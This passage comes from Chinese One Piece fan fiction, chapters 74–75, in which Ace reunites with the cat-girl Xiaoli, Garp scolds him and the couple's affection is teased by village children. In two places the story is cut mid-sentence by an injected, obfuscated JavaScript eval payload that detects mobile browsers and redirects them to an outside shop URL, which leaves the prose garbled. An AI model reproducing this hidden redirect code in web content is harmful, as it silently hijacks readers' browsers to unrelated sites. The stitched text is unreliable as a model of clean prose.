小狸安静地听着,她能感受到这个外表粗糙的女人心底那份深沉的、不擅表达的爱与悔恨。她轻轻“喵”了一声,从椅子上跳下来,走到达旦脚边,用毛茸茸的小脑袋,一下一下,温柔地蹭着达旦粗糙的裤腿。那细软温暖的触感,像是一股无声的安慰。 达旦被蹭得心都软了,她吸了吸鼻子,一把将小黑猫抱了起来,搂在怀里,用下巴蹭着猫脑袋,声音闷闷的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等他来了,一定要狠狠“教训”他一顿! 想到这里,小狸磨了磨牙,心头那股憋了许久的、混合着后怕、委屈、恼怒的情绪再次翻涌上来。想起他在处刑台上说的那些“不该救他”、“不想连累大家”的混账话,想起他不管不顾、冲动行事、差点把自己搭进去的鲁莽,想起自己当时扑过去时那种心脏几乎停跳的恐惧和绝望……知道他安全后,这股气非但没有消散,反而因为有了“秋后算账”的底气而越攒越足! 尾巴不耐烦地在身下的瓦片上甩动,拍打出“啪啪”的轻响,在安静的午后显得格外清晰。她已经开始在心里盘算,等他出现,是先给他一爪子呢,还是先背过身不理他,等他道歉哄半天再说?或者……两种都要? 湛蓝色的猫瞳微微眯起,里面闪烁着危险又期待的光芒。 就在她沉浸于“如何教训艾斯”的幻想中时,她的鼻子,那属于猫科动物的灵敏的器官,忽然轻轻抽动了一下。 一缕熟悉到刻入灵魂最深处、融入骨血里的气息,乘着午后慵懒而温暖的海风,悄无声息地钻进了她的鼻腔。 是她眷恋无比、思念入骨、却又让她满腹委屈和恼火的来源! 是他! 他真的来了!他找到她了!就在附近! 小狸的耳朵瞬间竖直,转向气息传来的方向,浑身的绒毛因为突如其来的激动和紧张而微微炸开!一直悠闲甩动的尾巴也骤然僵住,尾尖不受控制地轻轻颤抖。 她从卧姿改为蹲坐,小小的身体绷紧,像一张拉满的弓。那双蔚蓝的猫瞳死死盯向小径延伸而来的方向,瞳孔因为情绪的剧烈波动而微微收缩。 心跳,毫无征兆地开始加速,咚咚咚地敲打着胸腔,又快又重,仿佛要跳出来。 他来了。 他终于来了。 74.重逢 所有的情绪在这一刻轰然爆发!鼻头一酸,连带着重伤初愈、一直强忍着的身体疼痛也仿佛被放大,让小狸只想立刻扑进那个温暖的怀抱里,狠狠地撒娇,把这些日子的害怕、孤单和思念统统哭出来。她眼巴巴地望向气味传来的方向,看着那个男人踉踉跄跄、不顾一切飞奔而来的身影,带着哭音喃喃道:“艾斯……” 她几乎就要这么做了。身体前倾,爪子无意识地扣紧了瓦片,尾巴尖因为期待而微微翘起,那双蔚蓝色的猫瞳里,已经漾起了湿漉漉的水光,全心全意地望向那个踉跄着、不顾一切朝这边奔来的身影。 艾斯也一眼就看到了屋顶上那抹无比醒目的黑色身影 风声、远处村民的交谈声、自己略显急促的呼吸声……一切都被一种尖锐的耳鸣取代,紧接着是心脏疯狂擂动的轰鸣,带来一阵眩晕般的炽热。悬了数月的心终于重重落下,巨大的狂喜甚至让他腿下一软,一个踉跄差点摔倒。他稳住身形,声音因激动而颤抖嘶哑: “小狸!!!小狸!!!” 他急切地向前冲了几步,张开双臂,渴望将那失而复得的珍宝拥入怀中。 然而,日子过得太好开始恃宠而骄的小狸心里那点小小的、属于猫科动物的傲娇,和这两个月独自承受的委屈,猛地窜了上来。 凭什么呀?这个笨蛋哥哥!害她流了那么多眼泪,担了那么多心,差点就真的……真的再也见不到了!现在就想这么简单地抱一下,然后当作什么都没发生吗?才不要呢! 于是,艾斯眼睁睁看着刚刚还准备扑进他怀里的小猫忽然猛地一扬脑袋,从鼻腔里发出一声清晰无比、带着十足闹别扭意味的: “哼!” 她甚至刻意扭过头,用后脑勺和那对此刻显得有些“冷酷无情”的黑色猫耳对着他,尾巴还相当有脾气地、重重地在瓦片上甩了一下,拍起一小撮灰尘。紧接着,那娇小灵活的身影,便“嗖”地一下从屋顶边缘纵身跃下,轻盈地落在屋后的地面上,几个起落,就消失在了艾斯的视野死角。 只有她故意拔高、带着哭腔的颤音从屋后拐角处飘了过来,一字不漏地钻进了艾斯和归家的卡普的耳中: “卡普爷爷!我……我去弄点吃的来!哥哥看起来好像好久没好好吃饭了” 她顿了顿,声音里带上了一点强撑的“凶狠”,但更多的是遮掩不住的心疼和撒娇般的告状,“不过在那之前……我怕我看见他就心软,下不去手……所以,麻烦您!帮我好好地教训他一顿啦!” 她的声音越来越远,显然是已经跑开了。 艾斯还维持着张开双臂的姿势,整个人僵在原地,脸上混合着狂喜、错愕、茫然,还有一丝被“抛弃”的可怜兮兮。他指尖残留着想要拥抱的虚空感,可那个本以为会落入怀中的温暖身体,却自顾自地跑掉了,只留下一句要“教训”他的话。 这突如其来的转折,让他大脑一时处理不过来,只能呆呆地看着小狸消失的方向,张了张嘴,却发不出声音,那模样,竟有点像只被雨淋懵了的大型犬。 而那句“教训他一顿”,如同一个开关,瞬间点燃了旁边卡普积压已久的怒火和后怕。 “臭——小——子——!!!” 如同火山爆发般的怒吼,炸响在艾斯耳边。他甚至没来得及回头,一股熟悉的、不容抗拒的巨力就从后脑勺袭来! 砰——! 那是结结实实、毫无水分、蕴含着海军英雄澎湃怒意与……深沉后怕的“爱之铁拳”。艾斯本就脚步虚浮的身体直接被揍得离地飞起,在空中划过一个短暂的弧线,“噗通”一声摔在几步外的泥地上,还狼狈地滚了两圈才停下。 卡普高大的身影几步就跨到了他面前,投下的阴影将艾斯完全笼罩。平日里总是豪爽大笑的脸,此刻阴沉得能滴出水来,额角青筋突突直跳,那双经历过无数风浪的眼睛里,燃烧着怒火,更深处,却翻涌着难以言喻的恐惧和……湿润的痕迹。 “老夫……”卡普的声音因为情绪过于激动而有些发抖,他弯下腰,一把揪住艾斯胸前的衣襟,几乎将他从地上提溜起来一点,另一只拳头捏得咯咯作响,悬在艾斯眼前,“老夫以前是怎么教你的?!嗯?!‘小心’!‘谨慎’!‘想想你的家人和朋友’!老子的话,你都就着饭吃到狗肚子里去了吗?!” 每吼一句,他的拳头就晃一下,带起的劲风刮得艾斯脸颊生疼。 “你个混账东西!连自己的命都不当回事!你有没有想过,你要是真死了,老子……老子……”卡普的声音哽住了,揪着艾斯衣领的手在微微颤抖,他说不下去了。 所有的担忧、恐惧、愤怒,在这一刻化作更沉重的拳头,虽然刻意控制了力道,不会造成重伤,但依旧结结实实地砸在艾斯的肩膀、手臂、后背。 “你和你那个混蛋老爹罗杰一个德行!狗屁的‘海贼王’!连自己心爱的人都保护不了!只会惹一堆烂摊子,让别人替你担惊受怕!”卡普一边打,一边骂,声音却越来越哑,眼眶也越来越红,“你以后出去……出去别说是我卡普的孙子!老子丢不起这个人!” 艾斯被捶得龇牙咧嘴,却丝毫不敢反抗,甚至没有用手格挡。他知道爷爷有多气,更知道这愤怒之下,是深不见底的后怕和爱。艾斯自知理亏,也存了哄老爷子开心的心思,只是护住脸,任由爷爷“教训”,嘴里还嘟囔着:“别打脸啊爷爷……一会儿小狸要心疼的……” 他不说还好,这一说,简直是往卡普的怒火上浇油。 “你还知道小狸会心疼!?”卡普的拳头顿了一下,随即更密集地落下,虽然避开要害,但气势惊人,“你知不知道!不止你差点没命!连她也……她也差点……!” 那个“死”字,卡普终究没能说出口,那是他心底最深的伤疤。他猛地停下动作,揪着艾斯衣领的手却没有松开,高大的身躯几不可查地晃了一下。 艾斯敏锐地感觉到,有几滴温热液体,猝不及防地滴落在自己的额头上,顺着脸颊滑落。 是……爷爷的眼泪。 这个认知像一根针,猝不及防地刺中了艾斯心脏最柔软的地方。那个如山岳般强悍、总是用铁拳“教育”孙子的爷爷,竟然,哭了……为了他。 “爷爷……”艾斯的声音沙哑得厉害,带着浓重的鼻音,“我知道错了……真的……我……” 卡普胡乱地在脸上抹了一把,别过脸去,粗声粗气地吼道:“知道错了?!知道错了有什么用!这次是你命大!下次呢?!啊?!” 艾斯既感动又有点尴尬,感受着自己抽痛和逐渐潮湿的腹部,咳了一声:“爷爷,我知道你很生气,但是你先别气……我好像……伤口裂开了……” 卡普这才猛地停手,定睛一看,艾斯身上的绷带果然又被鲜血浸透了一大片!刚才光顾着发火,完全没注意到……糟了!他心虚的像身后看去,这小子皮糙肉厚死不了,但要是被那个小丫头抓包,事情可就大了…… “爷爷——!” 一声又气又急的娇喝及时响起。 只见少女已经不知何时回来了,手里还拿着一个篮子,装着些食物和水。她此刻俏脸含煞,一双蔚蓝色的猫瞳瞪得圆圆的,里面交织着心疼和愤怒。她快步冲过来,一把将篮子塞给旁边不知何时出现、正端着杯茶靠在门框上看得津津有味、脸上满是幸灾乐祸笑容的战国手里,然后用力瞪了卡普一眼。 卡普被小狸这一瞪,顿时像做错了事被家长抓包的小孩,魁梧的身躯都缩了缩,刚才那海军英雄的骇人气势消失得无影无踪,讪讪地后退两步,摸了摸鼻子,眼神飘忽,不敢与她对视。 “他不懂事,你也不懂事么!” 小狸蹲下身,小心翼翼地去查看艾斯的伤口,看到那大片刺目的鲜红,眼圈瞬间又红了。 战国悠闲地啜了一口茶,看着老友这副吃瘪的模样,脸上的笑容越发扩大,几乎要笑出声,还好心地“提醒”:“卡普,还不帮忙把人扶进去?真想让你孙子失血过多啊?” 卡普这才如梦初醒,连忙和战国一起,小心翼翼地搀扶起疼得直抽冷气的艾斯,将他挪回了屋内那张简陋的小床上。 小狸已经手脚麻利地找出了卡普当时给她准备的剩下的绷带和消毒用品。她跪坐在床边,娴熟又小心翼翼地解开艾斯身上被血浸透的旧绷带。 艾斯顺从地躺着,目光却一瞬不瞬地、贪婪地凝在近在咫尺的小狸脸上。几个月不见,她似乎清瘦了些,下巴更尖了,脸色还有些苍白,但那双蔚蓝色的眼睛,此刻盛满了担忧和专注。强撑着一副“我很生气我很严肃不要惹我”的模样,认真处理着他的伤口。 她的指尖偶尔会无意间碰到他的皮肤,带着微凉的触感,却让艾斯觉得无比安心和温暖。失而复得的狂喜,后知后觉的疼痛,还有满心的爱怜,交织在一起,让他的心脏饱胀得发疼。 他的手指试探性地轻轻触碰她正在忙碌的手背,感受着那真实的温热和细腻肌肤,一直以来的焦虑和空虚终于被彻底填满。 “别动!还没包完呢!再裂开我就不管你了!”小狸一把拍开他的手,猫眼瞪了他一下 他没有退缩,手掌握住了她正在系绷带的手背。那温热的、真实的触感,让他悬了数月的心终于彻底落回了实处。 “都说了别动!”小狸像是被烫到一样,猛地抽回手,故意用力勒了一下绷带,听到艾斯吃痛的抽气声,又立刻心虚地放松了力道,但嘴上依旧不饶人,“你……你知不知道大家有多担心!老爹,马尔科先生他们……还有我……我……” 说着说着,委屈和后怕再次涌上心头,眼泪又不争气地大颗大颗砸下来,落在艾斯的绷带上,晕开深色的痕迹。她索性停下了动作,坐在床边,肩膀微微颤抖着哭泣起来。 “我……” 她哽咽着,声音破碎不成调,“我好怕……你当时还说……说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954734|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么不该被救,不要救你的蠢话……笨蛋艾斯!全世界最笨最笨的大笨蛋!” 艾斯的心被她滚烫的眼泪和破碎的哭诉,灼烧得又酸又疼。他也顾不得伤口,双手温柔地捧起她泪湿的小脸。掌心感受到她脸颊的细腻肌肤和湿漉漉的泪痕,指尖轻轻拭去那些不断涌出的泪水。 “对不起……小狸……对不起……” 他的声音低沉沙哑,“都是我不好……是我太冲动,太自以为是……害你担心,害你受伤,害你流了这么多眼泪……” 他的拇指指腹一遍遍摩挲着她哭得通红的脸颊,额头轻轻抵上她的,两人的呼吸在极近的距离里交融,他望进她泪水迷蒙的蓝色眼眸深处,那里面清晰地倒映着他此刻狼狈又无比认真的脸。 “我发誓,” 艾斯的声音带着一种斩钉截铁、仿佛用生命起誓的郑重,“绝对不会再有下一次了。我保证,再也不会让自己陷入那样的绝境,再也不会……” 他的眼神炽热而坚定,如同最灼人的火焰,却又包裹着能融化寒冰的温柔和歉意:“我的命,是老爹、马尔科、大家……还有你,拼死守护下来的。从今以后,它不只是我自己的,更是你的,是大家的。我会像珍惜最宝贵的宝物一样,珍惜它,连带着你的那份,一起好好地活下去。” 这不是什么华丽的辞藻,却比任何海誓山盟都更动人心魄。 小狸抬起泪眼,吸了吸红通通的鼻子,带着哭腔嘟囔道:“你……你记住你今天说的话了!要是再敢犯浑,再敢不顾自己死活……我就……我就……” 她“我就”了半天,也没想出什么有威胁力的惩罚,最后只能用力捶了一下他没受伤的肩膀,凶巴巴地宣布,“我就真的、真的不理你了!让你再也找不到我!” “那可不行!” 艾斯将她揽入怀中,动作牵动了腹部的伤口,让他眉头蹙了一下,却丝毫没有放松力道。他的下巴轻轻抵在她散发着淡淡皂角清香和一丝药味的发顶,满足地、长长地喟叹一声。 “我好不容易……才把你找回来。” 他的声音闷闷地响在她发间,带着一丝不易察觉的颤抖,“这辈子,下辈子,生生世世,你都别想跑掉了,小狸。” 她靠在他坚实而温暖的胸膛上,耳畔是他强健有力的心跳声,鼻尖充盈着他身上熟悉的、令人安心的气息。连日来紧绷的神经、身体未愈的隐痛、以及重逢带来的巨大情绪起伏,此刻都化作了沉沉的疲惫,却又被无与伦比的安心感包裹。 她在他怀里轻轻蹭了蹭,找到了一个最舒服的位置,将半边脸都埋进他的颈窝。身后那条黑色的长尾巴也悄悄缠绕在了艾斯没有受伤的那只手臂上,轻轻扫了扫他的手指。 艾斯感受着怀中真实的重量和温度,低下头,嘴唇无比轻柔地、带着无尽的珍视和感激,印在她光洁的额头上。 那是一个不带任何情欲,却饱含了所有失而复得的庆幸、深沉爱意和永恒承诺的吻。 所有的言语似乎都已多余。那些未尽的抱怨、等待倾诉的思念、以及深藏心底、历经生死考验后愈发清晰灼热的爱意,都将在未来漫长相守的岁月里,慢慢诉说,毕竟,他们有很多的时间。 不知何时,卡普和战国早已悄无声息地退出了房间,轻轻带上了那扇吱呀作响的木门,将这个小小的房间完整地留给了这对历经劫难、终于再度紧紧相拥的两人。 小狸稍稍退开一点,仰起脸,看着艾斯眼下的青黑和眉宇间挥之不去的憔悴。她抬起手,指尖带着凉意,却异常温柔地,轻轻抚上他的脸颊,摸了摸他有些扎手的下巴,然后学着他以前常做的那样,揉了揉他蓬松的黑发。 “睡一会儿吧,” 她的声音放得很轻,像是最柔软的羽毛,带着能抚平一切创伤的温柔,“我就在这里陪着你。哪里也不去。” 艾斯握住她抚摸自己头发的手,拉到唇边,轻轻吻了吻她的指尖,然后依言闭上了眼睛。连日赶路的疲惫、伤口崩裂的疼痛、以及情绪剧烈波动后的松懈,终于一齐涌了上来。但他的嘴角,却带着无比安心和满足的、浅浅的弧度。 小狸就这样安静地坐在床边,任由他握着自己的手,目光贪婪地流连在他疲惫却安详的脸上。 她本以为艾斯已经入睡,他却突然睁开了眼睛,定定的盯着她的脸 “怎……怎么了么?” 他忽然认真地开口“小狸,你之前说有话要和我说……” 小狸愣了一下,然后才反应过来他提到的是自己没说出口的告白,脸颊刷得就红了,羞赧的扭开了头 “没什么,不说了!” “哎——?什么啊?我可是还记着你……” “不说了不说了!你快点睡觉啦!” 她伸手去捂他的眼睛,不让他看见自己已经红得滴血的脸颊 她知道,未来的路或许还会有风浪,但是只要有他在身边,她就无所畏惧,至于那没说出口的告白,哼,看他表现了 75.诱惑 风车村的时光,在艾斯和小狸的重逢后,仿佛被一切都慢了下来,慵懒,黏稠又温柔。与外界的风云激荡相比,这个东海的小村庄宁静得如同世外桃源 只是,因为卡普那记他自己坚称是“轻轻一拍”的“爱之铁拳”,家里的伤员名单又多了一位。不过,新晋伤员艾斯似乎很快发现,这个身份附带了一项令人无比沉醉的“特殊福利”。 他开始理直气壮地、变本加厉地把小狸“拴”在身边。理由五花八门,且都冠冕堂皇——“分开太久,需要补充‘小狸能量’才能恢复得快”、“伤口突然有点幻痛,可能需要有人分散注意力”、“一个人躺着好无聊,不利于身心健康”……配上他那张因为失血和休息不足而略显苍白的脸以及语气里那点恰到好处的虚弱和藏不住的撒娇意味,简直无往不利。 小狸起初还会努力板起小脸,叉着腰,试图摆出“医生”和“教训者”的威严:“艾斯!你只是腹部受伤,又不是腿断了!而且卡普爷爷明明说你好得差不多了!” 然而,往往在艾斯微微垂下眼睫,用那双黑曜石般的眸子可怜巴巴地望着她,甚至故意让一丝落寞爬上眉梢,低低地说“可是……看不到你,心里就会慌,一慌,伤口好像就更疼了……”的时候,小狸的防线便会以惊人的速度土崩瓦解。 不出三秒,她就会败下阵来,先是耳朵尖不争气地红了,然后抿着唇,一边用几乎听不见的声音嘟囔着“艾斯真是的……越来越会耍赖了……”,一边却诚实地挪动脚步,乖乖在他床边坐下,或者挨着他靠在窗边的旧沙发上,美滋滋的和他一起偷懒 一个愿打,一个愿挨。两人的互动模式,黏糊得让屋里另外两位自称“孤寡老人”的老家伙简直没眼看。 卡普不止一次吹胡子瞪眼,指着艾斯嚷嚷:“老子根本没用力!你小子少在那儿装模作样!” 每当这时,艾斯就会立刻捂住腹部,眉头紧蹙,从喉咙里挤出一串逼真的、气若游丝的痛吟:“哎哟……爷爷,您那拳头……嘶……可能牵动内伤了……” 打人的那一方显然没什么说服力,卡普百口莫辩,气得在屋里团团转。不过,在好几次撞见自己那个倒霉孙子趁着小狸背对门口时,偷偷朝他抛来一个得意又欠揍的炫耀笑容后,卡普悟了。他摸着下巴上扎手的胡茬,看着那个一边嘴上抱怨“重死了”、“热死了”,一边却小心翼翼调整姿势让艾斯靠得更舒服、尾巴还无意识地轻轻环住对方脚踝的小丫头,忽然觉得,自己这闲气生得实在多余。 这两个小混蛋,根本就是一个锅配一个盖,天生一对!得,随他们便吧!只要那个被艾斯惯得越发无法无天、偶尔手痒还会祸害他珍藏的仙贝袋子的混世魔王,别继续拆家就行了。 ……说来奇怪,小猫真的不再上房揭瓦、追着他要零嘴、骑着小羊撞战国或者用尾巴把他精心码好的木柴扫倒之后,这院子里,好像……还有点过于安静了?啧,有好日子过了自己还不满意,真是闲的! --- 又是午后,每日例行的“治疗”时间。艾斯早已好整以暇地斜倚在床头,上半身属于卡普的旧衬衫随意敞开着,露出肌肉线条流畅的胸膛和腰腹。那处曾经狰狞可怖的伤口,如今已愈合得七七八八,在小狸能力温养下并没有留下过于明显的疤痕,微凸的瘢痕带着与别处不同的颜色横亘在他紧实的腹肌上。 他故意将那片区域完全袒露出来,甚至微微绷紧了腹部,让肌肉线条更加明显,做好了迎接小狸的准备 小狸咬着从卡普手里抢来的仙贝走进来,一眼就瞧见他那副模样。阳光落在他蜜色的皮肤上,勾勒出起伏的轮廓,那道伤疤的存在非但不显脆弱,反而为他平添了几分野性的张力。而他此刻眯着眼,像只慵懒餍足、正在晒太阳的大猫,两只手随意地支在身侧床沿,这个姿势让他的胸膛和腹肌完全舒展,充满了无声的、近乎挑衅的吸引力。 小狸嘴里的东西都忘了嚼,脸颊“腾”地一下,以肉眼可见的速度漫上一层绯红,瞬间从耳根红到了脖颈。心脏在胸腔里胡乱冲撞,撞得她指尖发麻,头晕目眩。她慌忙垂下眼睫,拼命在心里重复:这是治疗!你是医生!认真点!不能胡思乱想!不能看!不能…… 她深吸一口气,伸出微微颤抖的手指,轻轻抚上艾斯伤口处新生的皮肤。那里比周围的肌肤更嫩、更敏感,指尖传来的微妙触感让她的心跳得更快了。 那里的触感确实不同。比周围健康的肌肤更嫩、更薄,带着一种脆弱的细腻感,温度也似乎略高一些。她的指腹刚放上去,就感觉到艾斯的腹肌几不可查地收紧了一下,皮肤下的热度仿佛顺着她的指尖,一路烫到了她的心口。 艾斯垂眸,目光落在她低垂的、颤动的睫毛上,又滑到她泛着诱人粉色的耳廓和脸颊。她因为要处理他腹部的伤,此刻正微微倾身弯腰,这个角度让她领口松垮的居家服垂下,隐约露出一段白皙脆弱的脖颈和精致的锁骨。她努力绷着的、一本正经的小脸,配上那红得快要滴血的耳垂和游移不定的眼神,构成了一幅让他心尖发痒、悸动不已的画面。 她那温热细腻的指尖,在他那片异常敏感的皮肤上缓缓移动。与其说是检查,不如说是一场甜蜜至极的酷刑。一阵阵难以言喻的、混合着微痒和奇异电流感的触觉,从她指尖触碰的点炸开,沿着神经末梢飞速窜遍他的四肢百骸。他感到自己的血液流速明显加快了,喉间发干,喉结不受控制地上下滚动,咽下突然增多的唾液 他的目光近乎贪婪地锁住她那截泛着粉色的、微微弯曲的指尖,理智那根早已绷紧的弦,在这持续不断的、温柔的触碰和视觉嗅觉的双重冲击下,终于发出了不堪重负的、即将崩裂的哀鸣。 就在小狸觉得这“检查”漫长到令人窒息,指尖下的肌肤温度也高得吓人,打算随便找个“恢复得很好”的借口,结束这场对自己定力的考验时—— 艾斯动了! 他的动作快得只有残影。那只一直闲适支在床沿的手迅捷而精准地抬起,一把攥住了她还没来得及完全收回的手腕! “呀!” 小狸猝不及防,发出一声短促的、受惊的轻呼。手腕上传来的力道并不粗暴,却带着不容置疑的坚定和滚烫的温度。随即,他顺势轻轻向自己身前一拉—— 天旋地转。 小狸只觉得一股巧劲传来,本就重心不稳的她,整个人踉跄着向前扑倒。预想中撞上床板的疼痛并未到来,取而代之的,是结结实实撞进一个温暖、坚实、充满熟悉气息的怀抱! “唔……!” 独属于他的蓬勃的生命力如同一张密不透风的网,瞬间将她笼罩、捕获。隔着两人单薄的衣衫,她能无比清晰地感受到他胸膛传来的、强健有力的心跳,每一次搏动都沉沉地敲击着她的耳膜和心扉。他身体的温度极高,烫得她裸露的皮肤一阵战栗。而她自己的脸颊,不偏不倚,正好埋进他颈窝凹陷处,皮肤与皮肤紧密相贴,他颈动脉的搏动和灼热的体温,让她的大脑“嗡”地一声,彻底陷入一片空白。 艾斯满足地、从胸腔深处发出一声低沉喟叹,仿佛长久以来的某个空洞终于被完美填满。他收紧手臂,将怀中这具柔软、馨香、带着细微颤抖的身体更紧地圈进自己的领地,下巴自然而然地搁在她散发着清甜气息的发顶,轻轻蹭了蹭。 “呜……艾斯!你……你的伤口!” 小狸终于找回一丝神智,发出一声细微的、带着慌乱和羞窘的呜咽,手忙脚乱地试图推开他。然而,手掌抵在他滚烫坚实的胸膛上,却软绵绵的使不上半分力气。他的怀抱太过温暖,太过有安全感,将她这些日子以来所有深藏的后怕、孤独和思念,都温柔地接纳、化解。 “已经好多了……” 艾斯低沉沙哑的声音在她发顶响起,带着显而易见的得逞笑意和一种深沉的、近乎叹息的满足,“而且……这样抱着你,感觉哪里都不痛了。” 他顿了顿,补充道,声音更低,更惑人,“……舒服多了。” 他的心跳声如同擂鼓,咚咚咚地撞击着她的耳廓,与她自己那早已失去章法的心跳混杂在一起,分不清彼此。小狸把发烫的脸更深地埋进他颈窝,试图藏起自己快要烧起来的表情,呼吸间全是他炽热的气息,让她浑身发软。嘴上却还在做着最后徒劳的挣扎:“既、既然都好了……那,那就不用再……这样了……快,快放开我啦……” “不要。” 艾斯拒绝得干脆利落,甚至得寸进尺地侧过脸,用自己带着胡茬微刺感的脸颊,眷恋地蹭了蹭她柔软的发丝和敏感的猫耳根部,感受到怀里的小身体因此又是一阵细微的颤栗。他低笑,胸腔的震动直接传递给她,“这才是最好的‘治疗’,独家秘方。” “你、你再这样装病下去……爷爷真的要气死了……” 小狸的声音闷闷的,带着羞恼,尾巴却已经诚实地、悄悄缠绕上了他的小腿。 “老爷子身体硬朗着呢,气不坏。” 艾斯浑不在意,手臂收得更紧些,仿佛要将她揉进自己的骨血里,“再说了,他现在……大概也懒得管了。” 门外,原本打算来“查房”、顺便看看有没有机会再“教育”两句的卡普,透过门缝将屋内那紧紧相拥、气氛旖旎到几乎冒出粉红泡泡的一幕尽收眼底。他老脸一红,随即气得吹胡子瞪眼,拳头捏得嘎嘣响,却最终只是愤愤地一跺脚,把走廊的地板踩得闷响,从牙缝里挤出三个字:“臭小子!” 眼不见为净!他转身,大步流星地走开,决定去找点能压下心头这股莫名烦躁的麦酒喝。 而屋内,艾斯和小狸谁也没有再说话。暧昧的温度在交织的呼吸和心跳声中持续发酵、升高,每一次呼吸都在诉说着劫后余生的庆幸、失而复得的珍重,以及那无需言明、早已深入骨髓的亲昵与渴望。 艾斯得寸进尺地将唇瓣轻轻贴在小狸敏感的颈窝,那动作虔诚又带着不容置疑的占有欲。他灼热的呼吸喷洒在她最脆弱的颈侧皮肤上,带着火焰般的温度,穿透表层,直抵神经末梢。 “嗯……”小狸像被电流击中般猛地缩紧了肩膀,浑身过电似的一颤,从喉咙深处溢出一声细微的、猫儿般的呜咽。那感觉太过陌生又太过刺激,一股酥麻从颈窝瞬间窜遍四肢百骸,让她脚趾都无意识地蜷缩起来。“艾斯!别……痒……”她的声音都变了调,软糯模糊,尾音带着不自知的颤抖。手忙脚乱地想推开他,可那点力气在被他铁箍般的臂膀圈住、整个人都陷在他怀里的状态下,非但没能推开分毫,反而更像是欲拒还迎的推搡,指尖无意间划过他胸肌的轮廓,更像是在点火。 艾斯听着怀中小猫因为害羞而变得结结巴巴、手足无措的抗议,闷闷地将头更深地埋进她颈窝,发出一声低沉而愉悦的轻笑。那笑声带着胸腔的共鸣震动,直接传递到紧贴着他的小狸身上,连同他再次喷洒出的、更加灼热的气息,一同侵袭着她那已然红透的耳廓和颈侧皮肤。 “唔……!”小狸又是一阵抑制不住的细密战栗,连带着她白皙的脖颈乃至锁骨都迅速漫上一层诱人的、如同熟透蜜桃般的绯红。那红色还在不断向下蔓延,没入衣领的阴影里。她整个身子都软了几分,骨头像是被那笑声和气息抽走了,几乎要化成一滩温热的蜜水,彻底融在他滚烫的怀抱里。 “小狸耳朵好红呀,” 艾斯终于抬起头,却并未拉开距离,反而就着这个近在咫尺的姿势,用鼻尖亲昵地蹭了蹭她红得几近透明的耳尖,嘴角噙着一抹坏心眼的、毫不掩饰的笑意,明知故问地逗弄,“发烧了吗?嗯?” 他拉长的尾音像带着小钩子,黑眸里闪烁着不加掩饰的宠溺和戏谑,还有一丝欣赏猎物在自己掌心羞窘模样的、属于猎食者的满足感。 小狸羞恼地用手抵着他的胸膛,这次用了些力气,想拉开一点距离。她的蓝色猫瞳里水光潋滟,羞愤地瞪着他,可发出的抗议声却依旧软糯得能滴出水来,毫无威慑力:“艾斯!你、你别闹了……!” 她心里其实比谁都清楚,她和艾斯现在这种黏糊糊的、几乎要突破某种界限的状态,早就远远超出了她过去自欺欺人划定的“兄妹”安全区。以前的艾斯,温柔而克制,敏锐地察觉到了她因身份和过往而产生的退缩与不安,用无尽的耐心包裹着她,等待她自己鼓起勇气,小心翼翼地向前迈出那一步。 可自从经历了马林梵多那场生离死别后,虽然他的那份等待的耐心依旧在,甚至更加深邃,但他的行为却像解开了某种封印,变得外放而热烈,带着劫后余生的急切和失而复得的珍视。每次看向她的眼神,都充满了毫不掩饰的炽热火焰和赤裸裸的占有欲,仿佛一头终于寻回至宝、正慵懒而满足地巡视着绝对领地的雄狮,每一个眼神、每一次触碰,都在无声地宣告所有权;又像一只在她面前全力开屏、展示着最绚丽羽毛的孔雀,肆无忌惮地散发着致命的、纯粹的男性魅力,那种混合了野性、温柔和一丝脆弱感的性感,直白而汹涌,每每让她心慌意乱,不知所措。 就在空气中暧昧的甜香与热度逐渐攀升,几乎要擦出火花、点燃干燥引线的时刻—— “哇!快看!是亲亲!”“真的哎!他们抱在一起在亲亲!” 几个毛茸茸的小脑袋突然从没关严的门缝里挤了进来,叠罗汉似的,正是村里那群被小狸“管教”过、却也因此格外亲近她的天不怕地不怕的小萝卜头。他们用自认为很小声、实则清脆响亮得能传遍半个院子的声音兴奋地讨论着,黑葡萄似的眼睛里闪烁着纯粹的好奇与发现“大新闻”的光芒。 “呀——!!” 小狸发出一声短促到破音的尖叫,如同受惊的兔子,猛地从艾斯怀里弹了起来!力道之大,差点把猝不及防的艾斯带倒。她脸颊红得几乎要滴出血来,头顶的猫耳“唰”地紧贴头皮,身后的尾巴也僵直地竖起,每一根绒毛都写满了“被当场抓包”的窘迫。她手忙脚乱地整理着其实并不凌乱的头发,眼神慌乱地游移,试图掩饰自己的无措,冲着门口那群笑嘻嘻的小家伙虚张声势地大喊:“你、你们几个!在这里干什么呀?!作业写完了吗?!” 谁知这群平日里被她“武力镇压”惯了、实则被她纵容得无法无天的小家伙们非但不怕,反而像是发现了什么更有趣的事情,嘻嘻哈哈地一窝蜂挤进了屋子,瞬间将小小的房间变得热闹非凡。他们围着面红耳赤的小狸和好整以暇的艾斯,七嘴八舌地起哄: “羞羞脸!老大脸好红呀!”“这个好帅的哥哥是谁?是老大的男朋友吗?”“肯定是!他们都抱抱了!”“老大害羞啦!哈哈哈!原来老大也会害羞!”“老大明明上次说好要等我长大嫁给我的!说话不算话!” 小狸被他们你一言我一语说得头晕 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艾斯看着小家伙努力装出大人模样、却可爱得让人想发笑的样子,一时没忍住,“噗嗤”一声笑了出来。他放松了姿态,却故意将问题抛了回去,声音里带着诱哄和浓浓的戏谑:“哎呀,那你们说我是你们老大的什么人呢?”他坏心眼地引导着,目光却始终锁在小狸身上,欣赏着她越来越红的耳根和快要冒烟的头顶。 “艾斯!!你不要跟着他们一起起哄啦!!” 